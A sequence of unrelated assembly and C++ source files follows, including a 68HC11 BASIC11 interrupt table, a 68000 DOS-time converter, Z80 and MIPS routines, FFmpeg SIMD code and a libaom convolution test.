WRONG ;*********** ; interrupt 5 TOINT lda #5 sta GWIZ1 jmp WRONG ;*********** ; interrupt 6 OC5INT lda #6 sta GWIZ1 jmp WRONG ;*********** ; interrupt 7 OC4INT lda #7 sta GWIZ1 jmp WRONG ;*********** ; interrupt 8 OC3INT lda #8 sta GWIZ1 bra WRONG ;*********** ; interrupt 9 OC2INT lda #9 sta GWIZ1 bra WRONG ;*********** ; interrupt 10 OC1INT bsr TIMINTS ; service interrupt rti ; return from interrupt ; periodic time interrupt TIMINTS ldx IOBASEV ; Point to the I/O Base Address. ldd TOC1,X ; GET THE VALUE OF THE TIMER/COUNTER. TIMINTS3 addd #TIMEVAL ; ADD IN 62500 FOR NEXT COMPARE ( 2 HZ INT.). std TOC1,X ; PUT IT IN THE OUTPUT COMPARE REGISTER. lda #$80 ; SETUP TO CLEAR THE OC1 FLAG. sta TFLAG1,X dec TIMEPRE ; HAVE TWO OUTPUT COMPARES OCCURED? bne :AnRTS ; NO. JUST RETURN. lda #SWPRE ; YES. RELOAD THE REGISTER. sta TIMEPRE ldd TIMEREG ; GET THE CURRENT VALUE OF "TIME". incd ; ADD 1 SECOND TO THE COUNT. std TIMEREG ; UPDATE THE TIME REGISTER. ldd TIMECMP ; GET THE VALUE TO COMPARE TO FOR "ONTIME". beq :AnRTS ; IF IT'S 0, THE "ONTIME" FUNCTION IS OFF. cmpd TIMEREG ; DOES THE COMPARE VALUE MATCH THE TIME REGISTER? bne :AnRTS ; NO. JUST RETURN. ldy ONTIMLIN ; MAKE THE POINTER TO THE LINE NUMBER THE NEW IP. ins:2 ; GET RID OF THE RETURN ADDRESS. TIMINTS2 inc IMMID ; FAKE THE GOTO ROUTINE OUT. ldd CURLINE ; SAVE THE CURRENT LINE NUMBER IN MAIN PROGRAM. std SCURLINE ldd ADRNXLIN ; SAVE THE ADDRESS OF THE NEXT LINE IN MAIN PROG. std SADRNXLN jmp RGOTO3 ; GOTO THE SERVICE ROUTINE. ;*********** ; interrupt 11 IC3INT lda #11 sta GWIZ1 bra WRONG ;*********** ; interrupt 12 IC2INT lda #12 sta GWIZ1 bra WRONG ;*********** ; interrupt 13 IC1INT lda #13 sta GWIZ1 bra WRONG ;*********** ; interrupt 14 RTIINT lda #14 sta GWIZ1 bra WRONG ;*********** ; interrupt 15 IRQINT ldy ONIRQLIN ; GET POINTER TO LINE NUMBER OF THE IRQ SERVICE. bne TIMINTS2 ; GO DO IT. rti ; IF IT'S 0, "ONIRQ" HAS NOT BEEN EXECUTED. ;*********** ; interrupt 16 XIRQINT lda #16 sta GWIZ1 bra WRONG ;*********** ; interrupt 17 SWINT lda #17 sta GWIZ1 bra WRONG ;*********** ; interrupt 18 ILOPINT lda #18 sta GWIZ1 bra WRONG ;*********** ; interrupt 19 COPINT lda #19 sta GWIZ1 bra WRONG ;*********** ; interrupt 20 CLMINT lda #20 sta GWIZ1 ;*********** ; unexpected interrupt WRONG lda ASFLAG ; GET THE AUTO START FLAG. cmpa #$55 ; IS IT SET? jne COM ; NO. DUMP MEMORY TO SCI lda #$AA ; YES. RESET (ERASE) IT. ldy #ASFLAG ; autostart flag address jsr WRITE ; erase auto-start flag jmp $C000 ; restart Basic11 ;***************************************************************************** ; ROM tables ;***************************************************************************** ; vector tables in ROM ;*********** ; This table is used to initalise the I/O routine table in RAM. IOVects fdb SCIIN ; input device #1 (ACIA) fdb SCIIN ; input device #2 (SCI) fdb 0 fdb 0 fdb 0 fdb 0 fdb 0 fdb 0 fdb PROUT ; output device #1 (ACIA) fdb PROUT ; output device #2 (SCI) fdb 0 fdb 0 fdb 0 fdb 0 fdb 0 fdb 0 ;*********** ; This table is used to initalise the interrupt vector table in RAM. ; routine rom ram description INTVECT_SA fdb SCIINT ; D6 00C4 SCI (FFD6) fdb SPIINT ; D8 00C7 SPI fdb PACCINT ; DA 00CA PULSE ACCUMULATOR I/P EDGE fdb PACCINT ; DC 00CD PULSE ACCUMULATOR OVERFLOW fdb TOINT ; DE 00D0 TIMER OVERFLOW fdb OC5INT ; E0 00D3 TIMER O/P COMPARE 5 fdb OC4INT ; E2 00D6 TIMER O/P COMPARE 4 fdb OC3INT ; E4 00D9 TIMER O/P COMPARE 3 fdb OC2INT ; E6 00DC TIMER O/P COMPARE 2 fdb OC1INT ; E8 00DF TIMER O/P COMPARE 1 fdb IC3INT ; EA 00E2 TIMER I/P COMPARE 3 fdb IC2INT ; EC 00E5 TIMER I/P COMPARE 2 fdb IC1INT ; EE 00E8 TIMER I/P COMPARE 1 fdb RTIINT ; F0 00EB REAL TIME INTERRUPT fdb IRQINT ; F2 00EE EXTERNAL IRQ fdb XIRQINT ; F4 00F1 EXTERNAL XIRQ fdb SWINT ; F6 00F4 SOFTWARE INTERRUPT (SWI) fdb ILOPINT ; F8 00F7 ILLEGAL OPCODE fdb COPINT ; FA 00FA COP OPERATED fdb CLMINT ; FC 00FD CLOCK MONITOR OPERATED INTVECT_EA fdb POWERUP ; FE ---- RESET ;************ ; message display for help CHELP_SCN fcc ESC,"[2J" ; CLR SCREEN fcc ESC,"[0;0H" ; TOP LEFT CORNER FCC "BASIC11 V1.55" fcc ' B A S I C 1 1 for C P U _ 1 A 1',CR,LF,LF fcc ' Commands',CR,LF fcc 'AUTOST Auto-run program at reset NOAUTO Cancell auto-run',CR,LF fcc 'CLEAR Clear all variables CONT Continue after BREAK',CR,LF fcc 'ELOAD Load program from Flash ESAVE Save program to Flash',CR,LF fcc 'FERASE Erase Flash program memory FREE Displays amount of free memory',CR,LF fcc 'HELP You have found this one LLIST List current program',CR,LF fcc 'NEW Clear for a new program RUN Run current program',CR,LF,LF fcc ' Keywords',CR,LF fcc '? (PRINT) ABS ADC CALL CHR$ CLS DATA DIM',CR,LF fcc 'EEP ELSE END ENDWH FDIV FOR GOSUB GOTO',CR,LF fcc 'HEX HEX2 IF INBYTE INPUT LET NEXT NOT',CR,LF fcc 'ON ONIRQ ONPACC ONTIME PACC PEEK POKE PORT',CR,LF fcc 'PORTA PORTB PORTC PORTD PORTE PRINT READ REM',CR,LF fcc 'RESTORE RETI RETURN RND RTIME SGN SLEEP STEP',CR,LF fcc 'STOP TAB THEN TIME TO TROFF TRON WHILE',CR,LF,LF fcc ' Symbols & Operators',CR,LF fcs '+ - * / \ <= >= <> < > = - : ; , ( ) # .AND. .OR. .EOR.' ; fcb CR,LF ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ; #Include EEPROM.ASM ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;*********** ; EEPROM code for CPU_1A1 #ifdef _EEPROM ; INITIAL CPU SETUP FOR LOADER org $FF80 ; special variable area BOOT1 ldx #$1000 ; register base address lda #%10010011 ; adpu, irqe, dly, cop = long sta OPTION,X clr BPROT,X ; make CONFIG & EEPROM writable lda #%00000101 sta CSCTL,X ; enable program CS for 32K clr CSGADR,X ; RAM starts at address 0000H lda #%00000001 sta CSGSIZ,X ; RAM block size is 32K lda #%00001111 sta DDRG,X ; bank select bits = outputs clr PORTGIO,X ; select 1ST bank jmp $C000 ; run application code ;*********** ; INTERRUPT VECTORS (IN EEPROM) #VECTORS $FFFF-$29 ; TOP OF ROM INTVECT fdb SCISS ; D6 C4 SCI (FFD6) fdb SPITC ; D8 C7 SPI fdb PACCIE ; DA CA PULSE ACCUMULATOR I/P EDGE fdb PACCOVF ; DC CD PULSE ACCUMULATOR OVERFLOW fdb TIMEROVF ; DE D0 TIMER OVERFLOW fdb TIMOC5 ; E0 D3 TIMER O/P COMPARE 5 fdb TIMOC4 ; E2 D6 TIMER O/P COMPARE 4 fdb TIMOC3 ; E4 D9 TIMER O/P COMPARE 3 fdb TIMOC2 ; E6 DC TIMER O/P COMPARE 2 fdb TIMOC1 ; E8 DF TIMER O/P COMPARE 1 fdb TIMIC3 ; EA E2 TIMER I/P COMPARE 3 fdb TIMIC2 ; EC E5 TIMER I/P COMPARE 2 fdb TIMIC1 ; EE E8 TIMER I/P COMPARE 1 fdb REALTIMI ; F0 EB REAL TIME INTERRUPT fdb IRQI ; F2 EE EXTERNAL IRQ fdb XIRQ ; F4 F1 EXTERNAL XIRQ fdb SWII ; F6 F4 SOFTWARE INTERRUPT (SWI) fdb ILLOP ; F8 F7 ILLEGAL OPCODE fdb COP ; FA FA COP OPERATED fdb CMF ; FC FD CLOCK MONITOR OPERATED fdb BOOT1 ; FE RESET #endif USERINIT equ IODevInit ; Used to initialize console/other hardware.
; Convert real time to DOS time V0.00  1993 Tony Tebby section cv xdef cv_rtdos xref cv_mnths ;+++ ; Convert real time to DOS time ; ; d1 cr real time / DOS time (if zero, unchanged) ; status return 0 ;--- cv_rtdos rtd.reg reg d2/a0 move.l d1,d0 beq.s rtd_rts movem.l rtd.reg,-(sp) lsr.l #1,d1 divu #24*60*30,d1 ; split into days / 2 seconds ; first do the days sub.w #19*365+4,d1 ; set 1980 base moveq #0,d0 move.w d1,d0 divu #365*4+1,d0 ; four year cycle move.l d0,d2 clr.w d2 swap d2 ; four year day lsl.w #2,d0 ; years cmp.w #31+28,d2 ; is it Feb 29? blt.s rtd_day bgt.s rtd_day1 move.w d0,d1 ; real year moveq #4,d0 ; leap month * 2 moveq #29,d2 ; leap day bra.s rtd_pday rtd_day1 subq.w #1,d2 ; after Feb 29 adjust by one day rtd_day divu #365,d2 add.w d2,d0 ; real years move.w d0,d1 ; where we need it swap d2 ; day of year move.w d2,d0 lsr.w #5,d0 add.w d0,d0 addq.w #6,d0 ; first guess at month lea cv_mnths-2(pc),a0 add.w d0,a0 rtd_mloop subq.w #2,d0 cmp.w -(a0),d2 ; start less than month? blt.s rtd_mloop sub.w (a0),d2 ; day of month addq.w #1,d2 ; 1..31 rtd_pday lsl.w #5,d1 or.w d0,d1 ; add in month * 2 lsl.w #4,d1 or.w d2,d1 ; add in day ; now the time swap d1 moveq #0,d2 move.w d1,d2 divu #60*30,d2 ; hours in lower d2 move.w d2,d1 clr.w d2 swap d2 ; 2 seconds divu #30,d2 lsl.w #6,d1 ; move hours up or.b d2,d1 ; add minutes swap d2 lsl.w #5,d1 ; move minutes up or.b d2,d1 ; add 2 seconds moveq #0,d0 movem.l (sp)+,rtd.reg rtd_rts rts end
; ; Generic pseudo graphics routines for text-only platforms ; Version for the 2x3 graphics symbols ; ; Written by Stefano Bodrato 19/12/2006 ; ; ; Invert pixel at (x,y) coordinate. ; ; ; $Id: xorpixl.asm,v 1.6 2016-07-02 09:01:36 dom Exp $ ; INCLUDE "graphics/grafix.inc" SECTION code_clib PUBLIC xorpixel EXTERN textpixl EXTERN div3 EXTERN __gfx_coords EXTERN base_graphics .xorpixel ld a,h cp maxx ret nc ld a,l cp maxy ret nc ; y0 out of range inc a ld (__gfx_coords),hl push bc ld c,a ; y ld b,h ; x push bc ld hl,div3 ld d,0 ld e,c adc hl,de ld a,(hl) ld c,a ; y/3 srl b ; x/2 ld hl,(base_graphics) ld a,c ld c,b ; !! and a ld de,maxx/2 sbc hl,de jr z,r_zero ld b,a .r_loop add hl,de djnz r_loop .r_zero ; hl = char address ld b,a ; keep y/3 ld e,c add hl,de ld a,(hl) ; get current symbol from screen ld e,a ; ..and its copy push hl ; char address push bc ; keep y/3 ld hl,textpixl ld e,0 ld b,64 ; whole symbol table size .ckmap cp (hl) ; compare symbol with the one in map jr z,chfound inc hl inc e djnz ckmap ld e,0 .chfound ld a,e pop bc ; restore y/3 in b pop hl ; char address ex (sp),hl ; save char address <=> restore x,y (y=h, x=l) ld c,a ; keep the symbol ld a,l inc a inc a sub b sub b sub b ; we get the remainder of y/3 ld l,a ld a,1 ; the pixel we want to draw jr z,iszero bit 0,l jr nz,is1 add a,a add a,a .is1 add a,a add a,a .iszero bit 0,h jr z,evenrow add a,a ; move down the bit .evenrow xor c ld hl,textpixl ld d,0 ld e,a add hl,de ld a,(hl) pop hl ld (hl),a pop bc ret
; ; ASM -- National Computer Camps ; ; === STACK SEGMENT === MyStack segment stack DB 64 dup('12345678') MyStack endS ; === DATA SEGMENT === MyData segment MyData endS ; === CODE SEGMENT === MyCode segment ; Sets up the segment names for Assume CS:MyCode,DS:MyData ; the code and data segments. ; === INCLUDE DIRECTIVES === include CONIO.INC ; === PROCEDURES === CALL PrintNumbers PrintNumbers PROC Main PROC ; Main procedure Start: MOV AX, MyData ; Setup data segment; MOV DS, AX Mov AL, 1 CMP AL,10 ;Compare AL with 14. JLE Count ;If AL < 14 then jump to the kid label. JG Exit ;Otherwise AL = 14, so jump to the EqualAge label. Count: ;=== kid label === MOV DL, AL CALL PrintDecByte ;Print that the user is younger than 14. ADD AL, 1 CMP AL,10 JLE Count Exit: MOV AH, 4Ch ; This section of code XOR AL, AL ; closes the program INT 21h ; and returns to DOS. Main ENDP PrintNumbers ENDP MyCode endS End Start
list p=18f4550 ;Modelo del microcontrolador #include <p18f4550.inc> ;Libreria de nombre de los registros CONFIG FOSC = XT_XT ; Oscillator Selection bits (XT oscillator (XT)) CONFIG PWRT = ON ; Power-up Timer Enable bit (PWRT enabled) CONFIG BOR = OFF ; Brown-out Reset Enable bits (Brown-out Reset disabled in hardware and software) CONFIG WDT = OFF ; Watchdog Timer Enable bit (WDT disabled (control is placed on the SWDTEN bit)) CONFIG PBADEN = OFF ; PORTB A/D Enable bit (PORTB<4:0> pins are configured as digital I/O on Reset) CONFIG MCLRE = ON ; MCLR Pin Enable bit (RE3 input pin enabled; MCLR pin disabled) CONFIG LVP = OFF ; Single-Supply ICSP Enable bit (Single-Supply ICSP disabled) org 0x0000 ;Vector de RESET goto canguro org 0x0020 ;Zona de programa de usuario canguro: movlw 0x80 movwf TRISD ;RD(6:0) como salidas bucle: movlw 0x77 movwf LATD end
;****************************************************************************** ;* SIMD-optimized SVQ1 encoder functions ;* Copyright (c) 2007 Loren Merritt ;* ;* This file is part of FFmpeg. ;* ;* FFmpeg is free software; you can redistribute it and/or ;* modify it under the terms of the GNU Lesser General Public ;* License as published by the Free Software Foundation; either ;* version 2.1 of the License, or (at your option) any later version. ;* ;* FFmpeg is distributed in the hope that it will be useful, ;* but WITHOUT ANY WARRANTY; without even the implied warranty of ;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;* Lesser General Public License for more details. ;* ;* You should have received a copy of the GNU Lesser General Public ;* License along with FFmpeg; if not, write to the Free Software ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;****************************************************************************** %include "libavutil/x86/x86util.asm" SECTION_TEXT %macro SSD_INT8_VS_INT16 0 cglobal ssd_int8_vs_int16, 3, 3, 3, pix1, pix2, size pxor m0, m0 .loop sub sizeq, 8 movq m1, [pix1q + sizeq] mova m2, [pix2q + sizeq*2] %if mmsize == 8 movq m3, [pix2q + sizeq*2 + mmsize] punpckhbw m4, m1 punpcklbw m1, m1 psraw m4, 8 psraw m1, 8 psubw m3, m4 psubw m2, m1 pmaddwd m3, m3 pmaddwd m2, m2 paddd m0, m3 paddd m0, m2 %else punpcklbw m1, m1 psraw m1, 8 psubw m2, m1 pmaddwd m2, m2 paddd m0, m2 %endif jg .loop HADDD m0, m1 movd eax, m0 RET %endmacro INIT_MMX mmx SSD_INT8_VS_INT16 INIT_XMM sse2 SSD_INT8_VS_INT16
#d x, 0x56, x ; = 0x1234561234 #d x, 0x56, x ; = 0x1234561234 x = 0x1234
[bits 32] ; Define some constants VIDEO_MEMORY equ 0xb8000 WHITE_ON_BLACK equ 0x0f ; prints a null-termianted string pointed to by EDX print_string_pm: pusha mov edx, VIDEO_MEMORY ; Set edx to the start of vid mem. print_string_pm_loop: mov al, [ebx] ; Stor the char at EBX in AL mov ah, WHITE_ON_BLACK ; Store the attributes in AH cmp al, 0 ; if (al == 0), at end of string, so je print_string_pm_done ; jump to done mov [edx], ax ; Store char and attributes at current ; character cell. add ebx, 1 ; Increment EBX to the next char in string. add edx, 2 ; Move to next character cell in vid mem. jmp print_string_pm_loop ; loop around to print the next char. print_string_pm_done: popa ret ; Return from the function
/* * Copyright (c) 2018, Alliance for Open Media. All rights reserved * * This source code is subject to the terms of the BSD 2 Clause License and * the Alliance for Open Media Patent License 1.0. If the BSD 2 Clause License * was not distributed with this source code in the LICENSE file, you can * obtain it at www.aomedia.org/license/software. If the Alliance for Open * Media Patent License 1.0 was not distributed with this source code in the * PATENTS file, you can obtain it at www.aomedia.org/license/patent. */ #include <vector> #include "third_party/googletest/src/googletest/include/gtest/gtest.h" #include "config/av1_rtcd.h" #include "aom_ports/aom_timer.h" #include "av1/common/convolve.h" #include "av1/common/resize.h" #include "test/acm_random.h" #include "test/clear_system_state.h" #include "test/register_state_check.h" #include "test/util.h" namespace { const int kTestIters = 10; const int kPerfIters = 1000; const int kVPad = 32; const int kHPad = 32; using libaom_test::ACMRandom; using ::testing::make_tuple; using ::testing::tuple; template <typename Pixel> class TestImage { public: TestImage(int w_src, int h, int superres_denom, int x0, int bd) : w_src_(w_src), h_(h), superres_denom_(superres_denom), x0_(x0), bd_(bd) { assert(bd < 16); assert(bd <= 8 * static_cast<int>(sizeof(Pixel))); assert(9 <= superres_denom && superres_denom <= 16); assert(SCALE_NUMERATOR == 8); assert(0 <= x0_ && x0_ <= RS_SCALE_SUBPEL_MASK); w_dst_ = w_src_; av1_calculate_unscaled_superres_size(&w_dst_, NULL, superres_denom); src_stride_ = ALIGN_POWER_OF_TWO(w_src_ + 2 * kHPad, 4); dst_stride_ = ALIGN_POWER_OF_TWO(w_dst_ + 2 * kHPad, 4); // Allocate image data src_data_.resize(2 * src_block_size()); dst_data_.resize(2 * dst_block_size()); } void Initialize(ACMRandom *rnd); void Check() const; int src_stride() const { return src_stride_; } int dst_stride() const { return dst_stride_; } int src_block_size() const { return (h_ + 2 * kVPad) * src_stride(); } int dst_block_size() const { return (h_ + 2 * kVPad) * dst_stride(); } int src_width() const { return w_src_; } int dst_width() const { return w_dst_; } int height() const { return h_; } int x0() const { return x0_; } const Pixel *GetSrcData(bool ref, bool borders) const { const Pixel *block = &src_data_[ref ? 0 : src_block_size()]; return borders ? block : block + kHPad + src_stride_ * kVPad; } Pixel *GetDstData(bool ref, bool borders) { Pixel *block = &dst_data_[ref ? 0 : dst_block_size()]; return borders ? block : block + kHPad + dst_stride_ * kVPad; } private: int w_src_, w_dst_, h_, superres_denom_, x0_, bd_; int src_stride_, dst_stride_; std::vector<Pixel> src_data_; std::vector<Pixel> dst_data_; }; template <typename Pixel> void FillEdge(ACMRandom *rnd, int num_pixels, int bd, bool trash, Pixel *data) { if (!trash) { memset(data, 0, sizeof(*data) * num_pixels); return; } const Pixel mask = (1 << bd) - 1; for (int i = 0; i < num_pixels; ++i) data[i] = rnd->Rand16() & mask; } template <typename Pixel> void PrepBuffers(ACMRandom *rnd, int w, int h, int stride, int bd, bool trash_edges, Pixel *data) { assert(rnd); const Pixel mask = (1 << bd) - 1; // Fill in the first buffer with random data // Top border FillEdge(rnd, stride * kVPad, bd, trash_edges, data); for (int r = 0; r < h; ++r) { Pixel *row_data = data + (kVPad + r) * stride; // Left border, contents, right border FillEdge(rnd, kHPad, bd, trash_edges, row_data); for (int c = 0; c < w; ++c) row_data[kHPad + c] = rnd->Rand16() & mask; FillEdge(rnd, kHPad, bd, trash_edges, row_data + kHPad + w); } // Bottom border FillEdge(rnd, stride * kVPad, bd, trash_edges, data + stride * (kVPad + h)); const int bpp = sizeof(*data); const int block_elts = stride * (h + 2 * kVPad); const int block_size = bpp * block_elts; // Now copy that to the second buffer memcpy(data + block_elts, data, block_size); } template <typename Pixel> void TestImage<Pixel>::Initialize(ACMRandom *rnd) { PrepBuffers(rnd, w_src_, h_, src_stride_, bd_, false, &src_data_[0]); PrepBuffers(rnd, w_dst_, h_, dst_stride_, bd_, true, &dst_data_[0]); } template <typename Pixel> void TestImage<Pixel>::Check() const { const int num_pixels = dst_block_size(); const Pixel *ref_dst = &dst_data_[0]; const Pixel *tst_dst = &dst_data_[num_pixels]; // If memcmp returns 0, there's nothing to do. if (0 == memcmp(ref_dst, tst_dst, sizeof(*ref_dst) * num_pixels)) return; // Otherwise, iterate through the buffer looking for differences, *ignoring // the edges* const int stride = dst_stride_; for (int r = kVPad; r < h_ + kVPad; ++r) { for (int c = kVPad; c < w_dst_ + kHPad; ++c) { const int32_t ref_value = ref_dst[r * stride + c]; const int32_t tst_value = tst_dst[r * stride + c]; EXPECT_EQ(tst_value, ref_value) << "Error at row: " << (r - kVPad) << ", col: " << (c - kHPad) << ", superres_denom: " << superres_denom_ << ", height: " << h_ << ", src_width: " << w_src_ << ", dst_width: " << w_dst_ << ", x0: " << x0_; } } } template <typename Pixel> class ConvolveHorizRSTestBase : public ::testing::Test { public: ConvolveHorizRSTestBase() : image_(NULL) {} virtual ~ConvolveHorizRSTestBase() {} virtual void TearDown() { libaom_test::ClearSystemState(); } // Implemented by subclasses (SetUp depends on the parameters passed // in and RunOne depends on the function to be tested. These can't // be templated for low/high bit depths because they have different // numbers of parameters) virtual void SetUp() = 0; virtual void RunOne(bool ref) = 0; protected: void SetBitDepth(int bd) { bd_ = bd; } void CorrectnessTest() { ACMRandom rnd(ACMRandom::DeterministicSeed()); for (int i = 0; i < kTestIters; ++i) { for (int superres_denom = 9; superres_denom <= 16; superres_denom++) { // Get a random height between 512 and 767 int height = rnd.Rand8() + 512; // Get a random src width between 128 and 383 int width_src = rnd.Rand8() + 128; // x0 is normally calculated by get_upscale_convolve_x0 in // av1/common/resize.c. However, this test should work for // any value of x0 between 0 and RS_SCALE_SUBPEL_MASK // (inclusive), so we choose one at random. int x0 = rnd.Rand16() % (RS_SCALE_SUBPEL_MASK + 1); image_ = new TestImage<Pixel>(width_src, height, superres_denom, x0, bd_); Prep(&rnd); RunOne(true); RunOne(false); image_->Check(); delete image_; } } } void SpeedTest() { // Pick some specific parameters to test int height = 767; int width_src = 129; int superres_denom = 13; int x0 = RS_SCALE_SUBPEL_MASK >> 1; image_ = new TestImage<Pixel>(width_src, height, superres_denom, x0, bd_); ACMRandom rnd(ACMRandom::DeterministicSeed()); Prep(&rnd); aom_usec_timer ref_timer; aom_usec_timer_start(&ref_timer); for (int i = 0; i < kPerfIters; ++i) RunOne(true); aom_usec_timer_mark(&ref_timer); const int64_t ref_time = aom_usec_timer_elapsed(&ref_timer); aom_usec_timer tst_timer; aom_usec_timer_start(&tst_timer); for (int i = 0; i < kPerfIters; ++i) RunOne(false); aom_usec_timer_mark(&tst_timer); const int64_t tst_time = aom_usec_timer_elapsed(&tst_timer); std::cout << "[ ] C time = " << ref_time / 1000 << " ms, SIMD time = " << tst_time / 1000 << " ms\n"; EXPECT_GT(ref_time, tst_time) << "Error: ConvolveHorizRSTest (Speed Test), SIMD slower than C.\n" << "C time: " << ref_time << " us\n" << "SIMD time: " << tst_time << " us\n"; } void Prep(ACMRandom *rnd) { assert(rnd); image_->Initialize(rnd); } int bd_; TestImage<Pixel> *image_; }; typedef void (*LowBDConvolveHorizRsFunc)(const uint8_t *src, int src_stride, uint8_t *dst, int dst_stride, int w, int h, const int16_t *x_filters, const int x0_qn, const int x_step_qn); // Test parameter list: // <tst_fun_> typedef tuple<LowBDConvolveHorizRsFunc> LowBDParams; class LowBDConvolveHorizRSTest : public ConvolveHorizRSTestBase<uint8_t>, public ::testing::WithParamInterface<LowBDParams> { public: virtual ~LowBDConvolveHorizRSTest() {} void SetUp() { tst_fun_ = GET_PARAM(0); const int bd = 8; SetBitDepth(bd); } void RunOne(bool ref) { const uint8_t *src = image_->GetSrcData(ref, false); uint8_t *dst = image_->GetDstData(ref, false); const int src_stride = image_->src_stride(); const int dst_stride = image_->dst_stride(); const int width_src = image_->src_width(); const int width_dst = image_->dst_width(); const int height = image_->height(); const int x0_qn = image_->x0(); const int32_t x_step_qn = av1_get_upscale_convolve_step(width_src, width_dst); if (ref) { av1_convolve_horiz_rs_c(src, src_stride, dst, dst_stride, width_dst, height, &av1_resize_filter_normative[0][0], x0_qn, x_step_qn); } else { tst_fun_(src, src_stride, dst, dst_stride, width_dst, height, &av1_resize_filter_normative[0][0], x0_qn, x_step_qn); } } private: LowBDConvolveHorizRsFunc tst_fun_; }; TEST_P(LowBDConvolveHorizRSTest, Correctness) { CorrectnessTest(); } TEST_P(LowBDConvolveHorizRSTest, DISABLED_Speed) { SpeedTest(); } INSTANTIATE_TEST_CASE_P(SSE4_1, LowBDConvolveHorizRSTest, ::testing::Values(av1_convolve_horiz_rs_sse4_1)); typedef void (*HighBDConvolveHorizRsFunc)(const uint16_t *src, int src_stride, uint16_t *dst, int dst_stride, int w, int h, const int16_t *x_filters, const int x0_qn, const int x_step_qn, int bd); // Test parameter list: // <tst_fun_, bd_> typedef tuple<HighBDConvolveHorizRsFunc, int> HighBDParams; class HighBDConvolveHorizRSTest : public ConvolveHorizRSTestBase<uint16_t>, public ::testing::WithParamInterface<HighBDParams> { public: virtual ~HighBDConvolveHorizRSTest() {} void SetUp() { tst_fun_ = GET_PARAM(0); const int bd = GET_PARAM(1); SetBitDepth(bd); } void RunOne(bool ref) { const uint16_t *src = image_->GetSrcData(ref, false); uint16_t *dst = image_->GetDstData(ref, false); const int src_stride = image_->src_stride(); const int dst_stride = image_->dst_stride(); const int width_src = image_->src_width(); const int width_dst = image_->dst_width(); const int height = image_->height(); const int x0_qn = image_->x0(); const int32_t x_step_qn = av1_get_upscale_convolve_step(width_src, width_dst); if (ref) { av1_highbd_convolve_horiz_rs_c( src, src_stride, dst, dst_stride, width_dst, height, &av1_resize_filter_normative[0][0], x0_qn, x_step_qn, bd_); } else { tst_fun_(src, src_stride, dst, dst_stride, width_dst, height, &av1_resize_filter_normative[0][0], x0_qn, x_step_qn, bd_); } } private: HighBDConvolveHorizRsFunc tst_fun_; }; const int kBDs[] = { 8, 10, 12 }; TEST_P(HighBDConvolveHorizRSTest, Correctness) { CorrectnessTest(); } TEST_P(HighBDConvolveHorizRSTest, DISABLED_Speed) { SpeedTest(); } INSTANTIATE_TEST_CASE_P( SSE4_1, HighBDConvolveHorizRSTest, ::testing::Combine(::testing::Values(av1_highbd_convolve_horiz_rs_sse4_1), ::testing::ValuesIn(kBDs))); } // namespace
db DEX_MAGMAR ; pokedex id db 65 ; base hp db 95 ; base attack db 57 ; base defense db 93 ; base speed db 85 ; base special db FIRE ; species type 1 db FIRE ; species type 2 db 31 ; catch rate db 167 ; base exp yield INCBIN "pic/ymon/magmar.pic",0,1 ; 66, sprite dimensions dw MagmarPicFront dw MagmarPicBack ; attacks known at lvl 0 db EMBER db LOW_KICK db 0 db 0 db 0 ; growth rate ; learnset tmlearn 1,5,6,7,8 tmlearn 9,10,15 tmlearn 17,18,19,20 tmlearn 29,30,31,32 tmlearn 34,35,38,40 tmlearn 44,46 tmlearn 50,54 db BANK(MagmarPicFront)
.data _newLine: .asciiz "\n" _divByZeroMessage: .asciiz "\nException: division by zero\nProgram will be terminated\n" _floatOverflowMessage: .asciiz "\nException: floating point operation result too great to fit in floating point word\nProgram will be terminated\n" _floatUnderflowMessage: .asciiz "\nException: floating point operation result too small to fit in floating point word\nPrgoram will be terminated\n" _intStack: .align 2 .space 64 _floatStack: .align 3 .space 128 _boolStack: .align 2 .space 64 _INT_MAX: .align 2 .word 1073741823 _INT_MIN: .align 2 .word -1073741824 _FLOAT_MAX: .align 3 .double 98079714615416886934934209737619787751599303819750539264 _FLOAT_MAX_NEG: .align 3 .double -98079714615416886934934209737619787751599303819750539264 _FLOAT_MIN: .align 3 .double 1.593091911132452E-58 _FLOAT_MIN_NEG: .align 3 .double -1.593091911132452E-58 _float0: .align 3 .double 3.3 _float1: .align 3 .double 5.0 _float2: .align 3 .double 1.0 _float3: .align 3 .double 1.98 _float4: .align 3 .double 2.0 _float5: .align 3 .double 4.5 f: .align 3 .double 0.000000 i: .align 2 .word 0 sum: .align 3 .double 0.000000 .text la $s0, _intStack la $s2, _floatStack la $s4, _boolStack j main _floatOverflow: la $a0, _floatOverflowMessage j _exceptionAndExit _floatUnderflow: la $a0, _floatUnderflowMessage j _exceptionAndExit _divByZero: la $a0, _divByZeroMessage j _exceptionAndExit _exceptionAndExit: li $v0, 4 syscall li $v0, 10 syscall _floatOverflowCheck: mtc1.d $a0, $f4 l.d $f6, _FLOAT_MAX c.le.d $f4, $f6 bc1f _floatOverflow l.d $f6, _FLOAT_MAX_NEG c.lt.d $f4, $f6 bc1t _floatOverflow mtc1 $zero, $f6 cvt.d.w $f6, $f6 c.eq.d $f4, $f6 bc1t _floatOverflowCheck_return c.lt.d $f4, $f6 bc1t _floatOverflowCheck_lessThanZero l.d $f6, _FLOAT_MIN c.lt.d $f4, $f6 bc1t _floatUnderflow j _floatOverflowCheck_return _floatOverflowCheck_lessThanZero: l.d $f6, _FLOAT_MIN_NEG c.le.d $f4, $f6 bc1f _floatUnderflow _floatOverflowCheck_return: jr $ra _intOverflowCheck: move $t0, $a0 lw $t2, _INT_MAX lw $t3, _INT_MIN bgt $t0, $t2, _intOverflow_max blt $t0, $t3, _intOverflow_min j _intOverflowCheck_return _intOverflow_max: sub $t0, $t0, $t2 subi $t0, $t0, 1 add $t0, $t0, $t3 j _intOverflowCheck_return _intOverflow_min: sub $t0, $t0, $t3 addi $t0, $t0, 1 add $t0, $t0, $t2 _intOverflowCheck_return: move $v0, $t0 jr $ra main: l.d $f4, _float0 s.d $f4, ($s2) addi $s2, $s2, 8 addi $s2, $s2, -8 l.d $f4, ($s2) cvt.w.d $f4, $f4 mfc1.d $t0, $f4 move $a0, $t0 jal _intOverflowCheck move $t0, $v0 sw $t0, i sw $t0, ($s0) addi $s0, $s0, 4 la $s0, _intStack la $s2, _floatStack lw $t0, i sw $t0, ($s0) addi $s0, $s0, 4 li $t0, 3 sw $t0, ($s0) addi $s0, $s0, 4 addi 